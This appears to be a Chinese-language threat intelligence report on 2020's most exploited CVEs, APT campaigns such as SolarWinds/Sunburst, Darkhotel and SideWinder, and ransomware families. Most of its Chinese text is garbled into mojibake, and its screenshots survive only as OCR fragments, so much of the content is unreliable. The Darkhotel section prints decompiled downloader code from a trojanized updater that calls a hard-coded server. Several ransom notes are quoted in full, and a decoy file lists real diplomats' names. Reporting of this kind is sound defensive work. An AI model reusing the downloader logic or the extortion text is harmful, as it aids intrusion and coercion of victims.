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BTS2 B AR R A A B 2 12 AR 2 — o BLARTR TR 1E B A A7 12 R TR 1) 2% A B e
s ERLE AL N IR IR K B i Az T M AR E R, R AE 2 P25 DTLMiner.
EternalBlueMiner &5 &P & FE FZH 5 BRI IRE K2 N WA AR FE R

it B2 AR R e R A A PR FEEAT 20, PRI 2020 4F 1 2 12 A3 Topl0:
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.o 20204 CVESRRFIF%ETop10

8

B B

7

6
5
I I I l I B
%q’%
q,

H

w

N

=Y

o

1.1 CVE-2017-11882 Office mBEMREHITIRIA

R SRR A R m i gs IR, 2017 48 11 B 14 H, iRk A T 11 B2 TER, R
BE TR 17T 2 AN OFfice @FEARIS AT IR CVE-2017-11882. ZIWIFAAN O0ffice PWAFHIRIR
T, 520 HRTRAT TR Office WRAR, o # T LAR IR LA 578 S A - S I PATIERE G 42 .
TR I AER e EQNEDT32. EXE Hh, B HON A XSS, 7E 0ffice Mt PR giBIA S, 1%
P LL OLE F AR A 2URATE Of fice SURY N o B TZASHST TR A R IEMI AR, Yo
AT DA I 200 2 A P B P A o sk B ek i, AT SRR R R, FEE SR R SO
BT EEm S

1.2 CVE-2010-2568 Windows LNK {477 X\ IsH

1ZIRTASEN Windows XP SP3, Server 2003 SP2, Vista SP1 1 SP2, Server 2008 SP2 1 R2 J%
Windows 7. Windows ¥ IEAfIALER LNK SO, el LNK SCA AT RE 530 Windows H BhHATEREE TS
A SCEATE E R .
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1.3 CVE-2016-7255 Win32k 45AURFIRIH

CVE-2016-7255 Jilil & — 4> Windows WAZ RN, 520 : Microsoft Windows VistaSP2,Windows
Server 2008SP2 FI R2SP1, Windows7 SP1, Windows8.1, Windows Server 2012 Gold FlI R2,
WindowsRT8. 1, Windows10 Gold, 1511, 1607, Windows Server 2016, ik a] il FiIiZ% IR 7 N 4%
BT PATEERID . 24 APT HLUE G s ] 112 W RZ IR BUR TR 34T 2 o

1.4 CVE-2017-0147 Windows SMB #hiliF MS17-010

2017 4£ 5 H 4 Shadow Brokers i T A1 M Equation Group ZiEUAI B T B, Hrbas “ik
{H 2 W57 %52 A~ MS17-010 YA H T E . MS17-010 %} 8 CVE-2017-0143. CVE-2017-0144. CVE-2017~
0145, CVE-2017-0146. CVE-2017-0147. CVE-2017-0148 £££ ™ SMB i . X/ T Bt 5
T JG2K WannaCry i 2e B 2Bk &, BAEHEEARZED 150 ZAEXK, 30 ZHHAHHE, FHHE
Rl REUR . BRITSEAR AT\ B 2, PR ih HaE A R s 80 {23670, S &R MS17-010
TR R BRI S C,  REMARIZ -

1.5 CVE-2012-6422 Samsung Galaxy Android #%%& W &4 KR

CVE-2012-6422 & — W% AR, T84T Exynosd210 o¥ 4412 ZLFRERET, /dev/exynos—
mem 5 S5ELPR (0666) o 845l (19 N FHFE P (4 ExynosAbuse), Bl F1 i 52 U5 AT
EYIH N A I IREAL. SamsungGalaxyS2, GalaxyNote2, MEIZUMX DA HiAth Android ¥4 HI N %
HAEAE LR o

1.6 CVE-2009-0927 Adobe Acrobat #1 Reader Collab getIcon()

JavaScript J7 Xtk HIsTH

Adobe Acrobat 1 Reader %7 IEMfHIALFE PDF SCARY b A5 (3% & JavaScript. W5 7] Collab
XTI getlcon () J7 s 0HRAE T REMIZ 20, whmT DAl Mevis B2 AT CARR AR B AN TR Fo 14 BA 24 /i
G P IR 56 442 ) 52 52 i T LS

1.7 CVE-2010-0188 TIFF M5 AbTRLE M [X 26 Hi IR

Adobe Reader il Acrobat TIFF EUZALFEZZpR X i iR H, Adobe TEfEMT TIFF MG TR
fii, {8 T TR EEACRS (Libtiff) fR7E HEAR S B bug, IR H7EXT DotRange J& 1t HIfEMT b . ZIRIA
WA APT HFE B AT S R T
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1.8 CVE-2012-4681 Oracle Java EREMAMEHAIT IR

ZIRIAT 2012 45 8 H 26 H#li 4 AF] FireEye itz . %A A %AW FL 51 Atif Mushtaq &K
CVE-2012-4681 Yl 55 ¥ (19 ) FH AR5 A2 3508 72 9 3l ok. XXX4. neto 4 F Fdid i 7 iR 25 7 051 %
PERNZ MG, PN A1 Java FEFREBS 580 JTava (I &R AL, I T 8% 3% 525 dropper
(Dropper. MsPMs). Oracle Java 7 Update 6 AIHABARA P AA/EULIRIR, Rt 2 vl F R i
java applet Geid Java YRR, AR HFHATAEEARN .

1.9 CVE-2017-0199 Microsoft Office 3 IwIH

WY 3 22 word FEALFEPN % OLE2Link Xf 4R, Faid 48 B0 RN BCA IEA AL Content—
Type B3 — B HBIRIA. ZIRIAFIF Office OLE W EEEHAEA, 150N E RN R E
X, Office YWHI URL Moniker W s 44 (7] 19 HTA UM NS4, URL Moniker j@idiH i
Wi 3.3k H content—type 7B (5 B85 /5 i A mshta. exe ¥ T2 ) HTA SCHHATEE K -

1.10 CVE-2014-6352 Microsoft OLE @ CHSHhiTIRIHE

CVE-2014-6352 I #E A AT AGed CVE-2014-4114 *h T . LIRS T3 IEH AL FE 2745 OLE X
S 0ffice UM, Microsoft Windows 7 OLE AR SEH0_FAEE M 22 4RI, RE G 1 I (1T 2
Wi 2 Al R IR ST RS . Boas R A IR AT DR AR QB S5 M UAC R L T S
PUASHE 2 IS AT IR AN G R T .

2. 2020 FERIIFIFA AT

2.1 CVE-2020-1472 Netlogon A4 FIRIH

IR A~ NetLogon FiflFET . NetLogon 411 /& Windows E-—JUEZMhREALIE, H
T RIBLEAEI N R 26 _ERINIE,  DAR S50 12 CABEAT S8 0y, RT3 F 24 3t 53 S5 45
ZIa) 35 RE 2 8] 4k DC 5 #5IK DC Z (8] IR & o Bl i Netlogon JERE HM X (MS-NRPC) 37
S SE R ) 3 B ) Net Logon 4B IEI , AFAERFALIET IR o DA F e i ) 2o e
R UAE R 28 7 () v e 384T SRRk v (L FH A o

2.2 CVE-2020-0601 CryptoAPI [ fh &k 25 g iF Fk il £eid I

ZITAAAAE T CryptoAPT. d11 fiberhr, AT T-Seid HhIE ih 2k 8% (BCC) UEASarill, Xk mr Ll
FHE AR, A8 Dyl A A A2 UE T B AT AT SO AT 2544, IR DA S SR AT I
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dio BEANT ECC UEFe) 2 N TN b, Bty 2 R AR AT DA S 30T B2 g v 1] I8
o

2.3 CVE-2020-0796 SMB AR HATIRIA

ZIRIHZE— Windows R4 SMB v3 FIZFRARASHAT IR, B & A ZdsH, RAAEIRIER
EFPL SMB IR S5 Kk —ARRR A S BB 6, Bl A FEPUTAE B . 1X & — LT MS08-067,
MS17-010 H) “Uf Higk” Jeil, nICAgmEERIA, ERSRIT Wannacry 5 5 1) KT RIAE #E .

2.4 CVE-2020-1350 Windows DNS AR ZfEARMEHATIRIA

1ZIWIAN DNS Server i FRACALHUT IR, & “IEHZK” Sfalwiid. JRIFAYET Windows DNS
55 # A0 ¥4 (SI6) DA MERIERTEL, #id 64 KB 1R SIGIER 2 SBUEZ M X, M
T B33 fie 6 R AT B S R AL AR o ri 3 m DA AR AR IR A 3 1R 2504 €. 21 H A% DNS Server
S e, 2 i o] e is B I AR AR AT I RR

2.5 CVE-2020-0674 Internet Explorer mARACIEHATIRIA

ZINIAAFAET Internet Explorer WIEESIIA G % jscript. d11 X+, Internet Explorer
D VAR AR 5] BEAE AL B TE AR RIS AFAE AR P AT I T o BRI A 2 VIR B B 2 T 3R A5 A0 24
BUF P AHEIR A A BR, S ai R BB AR, B EReusish 2 m i) Rat, i s
TP S bR s« QUK P S . MG @ s TR o] DU T “HE D7 553, s AR R
v, AEH P EEIZMEE, DU R .

2.6 CVE-2020-0688 ###k EXCHANGE AR5 K23 AT MR

1ZR A —1 Exchange IR%5 _EHIVRIA, & @ T Exchange Control Panel (ECP) ZH -t T &
A (validationKey 1 decryptionKey) FrSE(H). X AR, Bdi# vl Exchange ik
2 @ P RPR BL SYSTEM S BT AR, I8 43 B AR Exchange R%545

2.7 CVE-2020-0787 Windows ZsZsHh3EAIRR

2020 £ 3 H, iR A T — AN AHUBRIRTHEI CVE-2020-0787, Mtk & 76 8 FARAL R A 7 8

KRGE, AR ARG S AR BRI R R E A EE system AR XA Z H

BITS (Background Intelligent Transfer Service) iR TCiEIEMIACIEG S5 S5, BhEnl@id
PRAT R 18 AR 7 R B 20 TR 78 5 AR SO TR -
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2.8 CVE-2020-14386 Linux WEARIZFIRIA

ZIIA N Linux W AR #E IR A . Linux KATH & T 4.6 B9 W WA B9 5 14
net/packet/af packet.c 7EALIE AF_PACKET i A#1E—AbHE %0y IR o A b I 35 18 3 1) 52 521 1)
ENURERFH TG RN, 1T LA B R $E

2.9 CVE-2020-6519 Google Chrome P %88 K EE S IR

ZIRIA 3T Chromium ) Web NG #5 YRR, IR Windows. Mac A% & P& T
Chromium [] Web 3 Wi 25 , Bk 2 H F 1Z w1 7T LASGEId Chrome 73 f 2 Ja RRAS I N 25 %2 4= 5% (Content
Security Policy, CSP) JFHAT EE&ZIL,

2. 10 CVE-2020-14882, CVE-2020-14883 Weblogic 2T IR

XN Weblogic i, Weblogic A& Oracle Al HEHI J2EE B FH RS 28 . CVE-2020-
14882 FLVFARIZAUH ;51 & Pz & HIB RS UE Vi IR 5 & CVE-2020-14883 AoV f5 L& H F il
It HITP YR HATAE B 4. Bk d it X AN, AERER 1) HTTP 153K, 7ERE S ik g
N E WebLogic Server Console, FFHATAEZACHID.

(=) 2020 422k APT B s

1. APT 43 UNC2452

UNC2452 #& 2020 5371 APT 4H4Y, mSE[E %244 W] Firebye findh . 1Z4HZHE 2020 £ 12 H
1 B AP LR SolarWinds, FRRBEAERISCE . PAT X T RS HEHLEEFEERH 24001
555 He J1W) Sunburst G177, fEAENZAANET Orion M4 FE T SolarWinds #7284 2
14 SolarWinds. Orion. Core. BusinessLayer. d11 H1. SolarWinds A &% ALK, B T BUM-.
TR, WE KRBT R LS 500 S840k, UK APT 414 UNC2452 FIF SolarWinds
PR R AT Bk () S s L), I TSR S IR, FireEye FREE AR 2/ b X R I 2 Ko v
g, ZEHBFEILE. WM. WHAHRGBUN . Gl BR. HEFERIE S SLAR k.

R B S A APT 2H 2438 i3 B 0r 4 SolarWinds. Orion. Core. BusinessLayer. d11, ZE i DLL

W
A YR T Sunburst J5 1T, BRIf#1S Sunburst J& 115 A G T FL5 4 - Solarwinds Worldwide,
LLC,
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HrEEiEmER ? >
21 =R
— )y BPEEEs
JoZ
MEHFEEEITE,
FEESEES)
=R |Solarwinds Worldwide, LLC
FEFHEE: A~o]
EERE: |2020£E3EJ;24EI 16:53:43
EFITHEN)

K]: Sunburst $F& 4

5 RS IE H 1 SolarWinds. Orion. Core. BusinessLayer. d11 XCAHEG , 3% 2 DLL 3044 Sunburst
Ja T RS A T35 141 OrionImprovementBusinessLayer 28HY, Sunburst J5 IR APATEZEH R, &
R T RRAT SOH s .

b
P
P
D.
P
P
P
P
P
P
P
b

AR
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OrionImprovementBu

Kl: #4 Sunburst J& [ J/CHG
2. APT ZHZR OceanLotus

“OceanLotus” & —"Z/H 2012 FHIFIE AT ML 1) APT 4HZR, 1X 4> APT LR FR: “ i
SELE”. APT 32, Sealotus. APT-C-00. Ocean Buffalo, JEfcimikit) APT A —. HiERBEMHZ
HREEAL T T 5t HEF R . HYE BV EART HE . RE. B REA RO
8, BT NRETR. E. BUFMEFESR. 2020 FHM3k 7 Lin e “Ehxdd B
HREA, B FiEFEH R AR, 0ffice ZLAR BN IEHEFMEEE d11 2,

{51 % APT 414V v [ 0 R IEAESE R K LR AT % exe” ITCREA A, B
EERI LR exe FLFEIBIARAT dLL BB AR H AT, FINTER P BRI Tt
AT,

£ : Juh  FEEEAh 2R
— — pra=
2] krpt.dll | ﬁ%ﬂglﬁ]%‘ri 1402880 988,991 RENEEYE
o EHESTE RS | TEETEEREE R AR TS exe 1,049,256 345,567 RIAER
| v ERE=TEER : DELE EEEE IR E =

BATER vy HE v R

-
£ S A e Forh

EHRESIES « PEINDEEES AR TS exe 2020/2/14 12:07  RAERE 1,025 KB

K. E IERIBERR AL IRAT# . exe
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FEEFEREM ZEAR BB ERAF

Ehe New fork Eimes

Coronavirus Live Updates: Chinals-
Tracking Travelers From Hubei.

The numbar ofcases surped again in Fubai Provines, the spicatar of the’
e sakig s

itedthaca

e latest sumbers from China show that cases are tlle
spikingn Hubat, though Less drmatically

Text this number to tell the Chinese authoritics everywhere you've been recently -

e .
citizens who mey bave viited Hba Province. +

Mobil Chins get their ki
Teatuce f . iy visitad o/

That has craated a nem way forthe wutherities to sas whare citizens have traveled -

s  of Vi on Tusday, oficial d

through Hubsi wersunlikeiyto be allowsd sntry »

Ot cities were taking sirlar menseres ¢

Companies in Ch ked orsold. Ands
thers

Chins Mok i notits onmer. Jalsor

dowsr1diff

 Tharomber of cases iz Hibal jompad agaiz with

Amass roundupin central China has been expanded. -

o Tepimtas confimed it it desh Som the viris. ¢

o Thatrmel indusry i Asia bas Do cpamdd +

ERETSeT

B A I A SRS B AT Ok RSl R B SR 7, Bildn: 44097
CHPEEAEA, BIRREAER N word SCREEIRR, (HREMEASIY N H fi#

% APT 123X HbRik 2
CV_Enginneer CH.doc". exe’
FEN R . %R B i 22

MicrosoftUpdate. exe (iR IEH $(%5), M#EL SoftwareUpdateFiles.dll (GFIEHEZ) , ARG
%% SoftwareUpdateFiles. Resources\en. 1proj\SoftwareUpdateFilesLocalized. d11 G&&E 3 44)
5 IN# SoftwareUpdateFiles. locale (B2 H] shellcode)

-

£ BMESE Esicl Fuh

@ 36 ASEAN Summit 26-06-2020 Conference.doc~.exe 2020/8/20 11:14 RIFERF 2,094 KB

E\ CV_Enginneer_CH.doc~.exe 2020/8/20 11:08 RIFRER 739 KB

m W_E CV _Enginneer CH.doc~.exe - EEEERET. ZIP B, BBEF/ A 1,085,618 =15 -
=f B Juh  EEEREFh 2||;The comment below contains SFX script commands e

I N - - s et aina st e

| SoftwareUpdateFiles.Resources 3| TempMode

%) SoftwareUpdateFiles.dll 400,768 184,143 [||Silent=1
|| SoftwareUpdateFiles.locale 33,202 32,057 L|[Overwrite=l
E]WindcmvsUpdateAssistant.exe 616,320 300,512 R

K. AR

3. APT HZR SideWinder

APT ZHZ1 SideWinder Z/b M 2012 FHFIRHEAT M Bedy, SERCRAEIEE. X4 APT ZHZI N FR
“UE EEE 7. T-APT-04, M 2020 FFrfi IR SO REA b A, 1R 2 H0E S #R AR E
RIS E 5K, £ 1) BARAT IR ZHON BT A . BURRTAH G2, B Fok R A R A
Ryt A 7 A B AT R, CVE-2017-11882 IR K5 PH SCRY,  $538 A1 1 AR B AR R 480%
BOCRY,  BE BRI R B R 1 By S0
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it FAEEE AN I ZH 2R ASPAC A S2 13 TR “Nominal Roll for BMAC Journal 2020. doc”,
Wik Fk R ERAEHIH SO A i N hta ARBS, FIH CVE-2017-11882 JRiHHAT hta ARSI 257 %
T H .

BMACTJournal 2020 template - Members of ASPAC BMACTIournal 2020 template - Miembers of ASPAC
COUNTRY FLAG PARTICULARS PICTURES COUNTRY FLAG PARTICULARS PICTUR
Military Attache. - Assistant Defence Attache
Rank: Colonek e (AirForce)-
Service: Army- Rank: Wing Commander
Given Name: Ghulam Sakhi y Service: Alr Force:
Family Name:Faizi Spouse- . Given Names: Khondker
Name: Nafisa« 5 Monwarul
Family Name: Haque
AFGHANISTAN. Deputy Defense Attache- e spouses
i Name: Tahera Sultana«
Service: Army- ' g
GivenNames: Folade’ . Defense Attache-
Family Name: Safi Spouse: . Rank: Ueutenant Colone!
Name: Hablbaw Service: Air Force+
Defence Attache- SRUNEI * Given Name: Azmie
Rank: Colonel - iskandar. .-
Service: Army. v Famiy Name: Arffi
Given Name: Rachel Family % sw"f'
Name: Harrise Name:lsmawativ
i k7 Defense Attache-
Assistant Defence Attache.’
= Rank:SquadronLeader . Rank: Major General
SR e arorce P Service: Army-
AusTRAkY Bt ‘ Given Name: Vibol
* 5 Given Names:Kimberley . i)
Family Name: Wison :-mw Name: Mao-
Spouse- e pouse.
Name: Daniel Riedel E CAMBOOIA: ok Name: LauvMelaudy.
Defense Attache- . - nep::y Defense Aha(hel
Rank: Brigadier General o Ran| -“_“”"""‘“"‘0"'
Service: Army- ) Service: Army-
GivenName:Mdsirajul Given Names: Chankry-
Istame ;mw Name: Yang-
i pouse:’
Famil 3
it Name: Chin Chanthea
Name: Esrat Skders x Defense Attache.
Assistant Defence Attache- 5 :ﬂ"klM;WGeMvM
E ervice: Army-
e (Navy)+ :
Servica:Navyw Name: jon Spouse-
hemn tamarian ’ Name: Sin Kyong Hui

K. Nominal Roll for BMAC Journal 2020. doc
TEH T8 1) 5 B S I BUF A B FEA “Pak Army Deployed in Country in Fight

Against Coronavirus. pdf. Ink” FIHE 35 M i E BURF B FEAS “OIMC News Letter. pdf. Ink” 77,
FRF A EESE T N mshta. exe @2 FEHATEE S, BT 515 s 581k .

Pak Army Deploved in Country in Fight

Against Coronavirus

Pakistan armed forces have been taken positions across the country, assisting
federal and provincial administrations in order to ensure enforcement measures for
control of COVID-19.

“The armed forces are in action from the day one for implementing the decisions
made by the National Security Committee and directives issued by Prime Minister

K. Pak Army Deployed in Country in Fight Against Coronavirus. pdf. lnk
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PEARAABEAGHERFFS AL E

Office for international Military Cooperation

Ministry of National Defense, People's Republic of China

News Letter: June

40 female officers trained for peacekeeping mission

A total of 40 female officers from 26 countries received certificates on 19 June for completing a
peacekeeping training program jointly sponsored by China's Ministry of National Defense and UN
Women.

The training, which ran from June 08 to 19, aimed to increase the abilities of female peacekeepers in
protecting the interests of women and children, and aiding victims of regional violence.

The officers, including five from China, were selected by UN Women.

The training included courses on peacekeeping action overviews, humanitarian action principles,
protecting civilians in conflicts and community development, as well as exercises on cooperation, early
warning and researching information.

This is the fourth time since 2016 that China has hosted training programs aimed at female
peacekeepers.

According to an official with the Defense Ministry, the training showed China's efforts in fulfilling its
international obligations, undertaking peace missions, and promoting gender equality in peacekeeping.

UN Under-Secretary-General for Peacekeeping Operations, Jean-Pierre Lacroix, attended the ceremony
and spoke highly of China's efforts in peacekeeping actions.

He expressed hopes that female peacekeepers will account for around 15 percent of all peacekeepers in
the near future.

Kl: OIMC News Letter.pdf. Ink

4. APT #HZR Darkhotel

Darkhotel f&—/NZ/ M 2014 FEFEITAEHEAT 28 Tk (19 APT 2021, SBeflok EeAfE. X AMHH YL
FR: APT-C-06. SIG25. Dubnium. Fallout Team Y Shadow Crane. W[, ZE[E, EIfE, P %L
AR o A2 I, G KT A BB el BUR BT IR, FEBURFLE HilZh. SRS
FoRESE, 7 2020 B E S Windows 7 RS IEHH S —H “Darikhotel” miiidlk#&, I CVE-
2019-17026 KPR EEE) A1 CVE-2020-0674 C(IE 305088 ) 33X 5/ 11 o 8 ] i S AH % 1 BURF A LAA
BT, IF HAEE IS, F5hrE 5L VPN 4% T &% =27 SangforlD. exe, SangforUD. exe

WEE L, B2EHPAT SangforlD. exe J5, HEEEM N AEEE,
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1 SangforUD.exe EfE |i . sangforud.exe Bt |i|
| wEw BFEE (me | HEES | LEewEE| [gm [z 82 (22 | EmEs | oEnrs

FdlE FESlE

HEAE: TR AEE BEAME: ELTHRE:  REE

Sangfor Tech... -~AJH 201EEETHeEE ... Sangfor Tech... -~AJF 2016518298 1. ..

e e [ [rTmw— PRES
T = —
= A =m
—, BFEake Py
HEFEET- = ssEerE.

EEARE S P
A ISangfor Tectmologies Inc. E=tos ISangfor Technologies Co., Ltd
e el G Ee]
HehdiE: [z1s & 7 B 25 H 183140 st o 51 8 & gusm
B 0 21 0

HEAME: BT AEE p—

= : ht: A
COMODOD SHA-1... ~OJH 01e=ETHZEE 1. .. Sfﬁii%im. - i;;ﬁ#m it 23;?§1ﬁ29|§| 1
FRZE @) EEEEO)
i W

K. E&EZFER (SangforUD. exe) 1/ 52

vl = B3

duNumber0fBytesfivailable = B8;

v2 = (char x)1lpBuffer;

duNumber0fBytesRead = 8;

vd = WHnHttpOpen{L"EasyClient_update/1.68", 8, 8, 8, 8);
ug = ul;

I
5

[

7

3

9

'8

1| if { vd && {v4 = WHnHttpConnect{v3, L™185.198.56.191", 8x58u, B8), (hinternet = uvi) t= 8} )
2 g

3 uS = UinHttpOpenRequest{ui, L“GET", L"/Update_check.php?s=DKFMMEKFJIFUIDUFDKFJENEHHHFEJBHEJN", @, @8, 8, 8);
y uh = u5;

‘5 if { vS && WinHttpSendRequest{vS, @, @, 8, @, 8, @) && WinHttpReceiveResponse(ud, @) )
6 {

7 do

8 {

9 duNumber0fBytesAvailable = @;

8 if ( tWinHttpQueryDatafvailable{vs, &duHumberOfBytesAvailable) )

bl sub_188823F8(v2?, B8, duMunmberOfBytesnuvailable + 1);

2 if ( wHinHttpReadData{vé, v2, dwHumberODFBytesAuailable, &dwHumberOfBytesRead) )

3

i u2 += dwNumber0fBytesAvailable;

5 vl += dwHumberOfBytesAvailable;

6 ¥

7 ¥

8 while { dwHumberOfBytesAvailable };

9 WinHttpCloseHandle{u6);

1] uinHttpCloseHandle{hInternet};

H UinHttpCloseHandle{v8};

2 result = vi;

13 H

L else

5 {

16 result = B8;

W H3

Bl )

19| else

-8

A result = B3

2| 3

3| return result;

K. SangforUD. exe Bt N K EZERF
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5. APT ZHZA Patchwork

Patchwork f&—/N2 /0 ) 2015 G 4R HEAT W28 it (1) APT 2H41, SRR B ENRE . XA APT 4
HEIRZ HFR: “EEIE”, Operation Hangovers Viceroy Tiger. Dropping Elephant. Monsoon.
APT-C-09 = Chinastrats. A 2020 TPl FRIJBEHFEA T I, ZAHZLRR 2 B iE sh#f 4R o
fEHRE. EREEHIHETMER, X0 TR Z ARSI . BUFFIBUGAECH L, BT
AT PO R R SO, M B R AIE Y esp 8T (CVE-2017-0261) 2. filln:

et xs o E RGBSR “ lRPURTT R BRI R, xLsm” , 7 HIERA x1sm” &5, FZAfHH]
By T B iy R SO, I8 2 AU B R i o B AR

A PEAREMEERIERESZESS

=—1 National Health Commission of the People’s Republic of China

XRE-EZRPIICE, R “BERAAT” UASHRAEE
HDURAT 5 B R

ERENEFEE (MRFE) :

AER R iEN: PN OE: e
2 HEfr 8 i S frE

Kl OURATE B HE &, x1sm
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@ mems =CEEA, FE..

[ Al -Q L] ZE—E ﬁ?}‘-‘ﬂ'ﬂ{ﬁ, AE “BRANE” ESHRESR
A c

HE—AZFRIOXE, S “BANE” MRS
WER S ERMAREE

e S

2y mEAME

L
2
3
¢
5 1) ER/SIER
8
7
8

17 4y ANEE

2¢ 5) ERESEES -

25 6) BEBFOIHAR

a0 SR FIRA

31 TR/ AR
WK :

33 ZOEEA

35 7y TIAAHMEE
36 BRER ETES

K. HiHFFRME xlsm

1 R s i AN B SR B A S I B FEAS “National Network Security. docx. ” o, Z=EEF|A
esp WAL N RETIFEEG S, FEARNAEIR KL 7 E A E KL 2 2 A0 5 S .

EFIA @ FIA,

Pak-ChinaInternet Security Law 2020.
: 1.3 working principle.

Adhere to the unified leadership, grading responsibility; adhere to the unified command,
close coordination, rapid response, scientific treatment; adhere to the prevention of

Pakistan-China National Network Security Incident jon and emergency ination; adhere to who is responsible for who,
Comingency Plans. o xespcnslble for running, give full play to all forces together Prevention and disposal of
jty incidents

Impoting: .5~ 1\Windows\TEMPOR ™~ 1\Content MSO\74AA65A4 eps
Progress: 95°% 1 Structure and Responsibilities.

and Responsibilities.’

Encapsulated PostScript Graphic Fiter
Copynght © 2000 Access Softek. Al nghts reserved

ership of the Central Network Security and Information Leading Group

Teferred to as the “Leading Group”), the Office of the Central Network Security
and Information Leading Group (hereinafter referred to as the “Central Network Office™)
coordinates the organization of national network security incident response, Establish and
improve the cross-sectoral linkage mechanism, the Ministry of Industry and Information
Technology, the Ministry of Public Security, the State Secrecy Bureau and other relevant
departments in accordance with the division of responsibilities responsible for the relevant
network security incident response.+-

Provinces, Autonomous Regions And Municipalities, Xinjiany
Corps Party Committee Network Security And Information I.tadmg G‘mup‘ The Ccnml And

State Organs Of The Ministries, The People’s Organizations:+ 3Emergeacy Treatment

“National Network Security Incident Contingency Plans™ Has Been The Central Network i Exmtzepond

Security And Information Leading Group Agreed, Is Now Issued To You, Please Carefully

Orginize Tha Tmglembatation s After the network security incident occurs, the incident unit should immediately start the

emergency plan, the implementation of disposal and timely submission of information. The
relevant regions and departments immediately organize the early disposal, control the
situation, eliminate hidden dangers. at the same time organization and judgment. pay
attention to save the evidence, do 2 good job of information communication. For the primary
judgment is particularly significant, major network security incidents, and immediately report
to the emergency office.+

Central Network Security And Information Leading Group Office-
June 03, 2020.

1 General.

1.1 Purpose of preparation- 3.2 Emergency response:

. 8 i T T " The network security incident emergency response is divided into four levels, corre:
Establish and improve the national network security incident emergency mechanism to - i

K. National Network Security.docx
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[ 7| 1201m-readme.txt - TS = | B | S h
MHE FHE BRO ZEN EEH
F——::: Welcome. Again. ===--- -

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on
your computer has extension 1281m.

By the way, everything is possible to recover (restore), but you need to follow our
instructions. Otherwise, you cant return your data (MNEVER).

m

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except
getting benefits. If we do not do our work and liabilities - nobody will not
cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you
can decrypt one fTile for free. That is our guarantee.

If you will not cooperate with our service - for us, its does not matter. But you
will lose your time and data, cause just we have the private key. In practise -
time is much more valuable than money.

[+] How to get access on website? [+]
You have two ways:

1) [Recommended] Using a TOR browser!

a) Download and install TOR browser from this site: https://torproject.org/

b) Open our website:
http://aplebzudwgazapdgks6vrcvbezcnjppkbxbréwketf56nf6ag2nmyoyd.onion,/CA256D2886874C

K: Sodinokibi #hZif=
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31



IDINC IS L EER B W e B AR A TR AT

Attention!

| what happened?

we hacked your network and now all your files, documents, photos, databases, and other important data are safely
encrypted with reliable algorithms.

You cannot access the files right now. But do not worry. You can get it back! It is easy to recover in a few steps.
we have also downloaded a Tot of private data from your network, so in case of not contacting us as soon as
possible this data will be released.

If you do not contact us in a 3 days we will post information about your breach on our public news website and
after 7 days the whole downloaded info.

To see what happens to those who don't contact us, google:

* Southwire Maze Ransomware

* MDLab Maze Ransomware

* City of Pensacola Maze Ransomware

After the payment the data will be removed from our disks and decryptor will be given to you, so you can restore
all your files.

| How to contact us and get my files back?

The only method to restore your files and be safe from data leakage is to purchase a unique for you private key
which is securely stored on our servers.

To contact us and purchase the key you have to visit our website in a hidden TOR network.

There are general 2 ways to reach us:

1) [Recommended] Using hidden TOR network.

a) Download a special TOR browser: https://www.torproject.org/

b) Install the TOR Browser.

) Open the TOR Browser

Kl: Maze #)ZRAE

3.3 Egregor 1RRE

Egregor e T 2020 4F 9 A ¥ diss, HikiE, H'5 Sekhmet )R KA Maze BRI AT
TEAEREE, HAMER T KM E A, 2020 42 5 KA AV BURF 4H 23 54 8 52 3]
Egregor JREEHIR LT, WIH M Crytek PIKIERA 7], BEZEHE A H Cencosud LA K HNEE KR A
HNIAZBEHLM TransLink 550 4 7 N2 FEHARGES, Egregor MIR IS E & B2 FHH: W
R, BB e AT R, EAEA, SRATF I EZ MR E. BRItz sh, i
Egregor MISHEEEN, 528 XATEE MU BERAL B RMAR S, Wi & 10 23 BORR R A 7 W B 1)
©7h,

Egregor ¥ BT LALFHEE T B Y ChaCha FIAFEXIARE Y RSA RS INE 7 58, M5 SCIF
FAEH I RSA R, SCHHINEEEAR T8, R AE BOA B & FABH R L B AN BEAR 2

| RECOVER-FILES - Notepad - ] X
File Edit Format View Help

Your network was ATTACKED, your computers and servers were LOCKED,
Your private data was DOWNLOADED.

In order to avoid this issue,
you are to COME IN TOUCH WITH US no later than within 3 DAYS and conclude the data recovery and
breach fixing AGREEMENT.

| What if I do not contact you in 3 days? |
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Below you can find private data of the companies which were hacked by DoppelPaymer. This companies
decided to keep the leakage secret. And now their time to pay is over.
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APT L2 “ BEPTEL” IR “COVIDIO” “FAF A SORS [ B HE iR e M 28 ek, FEASHRI 254X
M ARy, FH N A B H BUR R TG BT 45 %

Date: 19-06-2020
Document Code;34-01
Version: 01

Guidelines

Objective

To_provide guidelines regarding the mitigation of spread of personjto-person transmission of
COVIDI19 kn Government office settings

Rationale

The increasing number of COVID-19 positive cases i the offices reduces the official efficiency
and puts a burden on the official conduct of business. In wake of this, 1t 1s prudent to develop
procedures i case of any detection of officersofficials with COVID-19 positive test and make
necessary arrangements for continuation of the official business It is also prudent that the
administrivia measures are in place for periodic cleaning and where necessary, disinfection of
these structures

General Preventive Measures for Government Employeess

* Every government office must develop SOPs, based on these guidelines, related to the work

5. APT HZR “Transparent Tribe” F|FHBIEEFREEBEH®E)S]

APT H4R “Transparent Tribe” [ HAn$&idhii “CORONA VIRUS” “FEHEMIZ Y, SCRYAFIFH AL
1545%3% CrimsonRat EIEAR T, SCRYPN AT L EVEE, LB K — b i 28 M R &1
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\ Ti4 - £
A B C D E F G H
HEALTH ADVISORY:
1. Traineers & workes from foreign countries attend courses at

various indian Establishment and trg Inst.

2. The outbreak ofis cause of concern especially
where forign personal have recently arrived or will be arriving at various
Intt in near future.

3. In order to prevent spread of CORONA VIRUS|at Training

= o =

=1 O |

8 establishments, preventive measure needs to be taken & advisories is reqt to
9 be circulated to all Instt & Establishments.

10 4. In view of above, you are requested to issue necessery

11 directions to all concerned Medical Establishments. Treat matter most

12 Urgent.

13

14

15

16

6. APT 2 “Kimsuky” HRF F# @ErXT MACOS ~F & 34T M 25 I
o

APT ZHZH “Kimsuky” FIFI44~ “COVID-19 and North Korea. docx” H3%&ZFEA4L X MACOS ~F
BT I o 1ZFE A B T R 22 AR N H b gk AT #4080, ﬁﬂ T M AR &
e MAC RGRIE A& B AT EE python 4RAL .

| cOVID-19 and North Korea.docx &R
_rels »
docProps .| document.xml.rels
v word z
_| settings.xml.rels
_rels
media X#O ®REE BEQ HWAY 45‘\2[_) 1§.=(_) BED =0Q EBFR =BEHE QD(V_V) 2 X
